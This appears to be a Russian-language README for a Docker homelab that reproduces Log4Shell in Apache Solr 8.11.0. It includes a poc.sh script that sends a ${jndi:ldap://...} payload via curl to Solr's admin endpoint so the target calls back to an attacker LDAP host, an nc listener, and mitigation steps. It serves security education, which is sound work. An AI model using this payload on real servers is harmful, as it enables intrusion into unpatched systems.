
Log4j уязвимость homelab
Управляемая среда в Docker для воспроизведения и изучения уязвимости Log4Shell в Apache Solr.
solr-lab): Apache Solr v8.11.0 (vulhub/solr:8.11.0) с уязвимой версией Log4j.kali-lab): Базовый контейнер Kali Linux с предустановленными nmap, curl и netcat.В терминале запустите окружение в фоновом режиме:
docker compose up -d --build
docker compose exec -it kali-lab /bin/bash
Внутри контейнера Kali узнайте свою подсеть и найдите IP-адрес Apache Solr:
# 1. Посмотрите свой IP и маску сети
hostname -I
# 2. Просканируйте внутреннюю сеть для поиска IP цели (порт Solr: 8983)
# (Замените подсеть ниже на ту, что вы получили из предыдущей команды)
nmap -p 8983 172.20.0.0/24
Скрипт poc.sh внедряет полезную нагрузку JNDI lookup в параметр API администрирования Solr.
poc.sh)#!/usr/bin/env bash
if [ "$#" -lt 2 ]; then
echo "Использование: $0 <lhost> <rhost> [lport]"
echo "Пример: $0 172.20.0.3 172.20.0.2 1389"
exit 1
fi
KALI="$1"
TARGET="$2"
PORT_KALI="${3:-1389}"
echo "[*] Цель: $TARGET"
echo "[*] Атакующий (LDAP): $KALI на порту $PORT_KALI"
echo "[*] Запуск эксплойта..."
curl -g -v "http://${TARGET}:8983/solr/admin/cores?foo=\${jndi:ldap://${KALI}:${PORT_KALI}/x}"
Всё ещё внутри Kali, дайте скрипту права на выполнение и запустите, указав правильные IP-адреса:
chmod +x poc.sh
./poc.sh <IP_КАЛИ> <IP_SOLR> 1389
Что здесь происходит? Solr обработает запрос и попытается открыть LDAP-соединение обратно к IP-адресу Kali на указанном порту. Вы можете отслеживать эту попытку подключения, предварительно открыв быстрый слушатель в Kali (например:
nc -lnvp 1389).
Чтобы исправить ошибку в Log4j 2:
2.15.0 или 2.17.1).-Dlog4j2.formatMsgNoLookups=true при запуске Java.zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class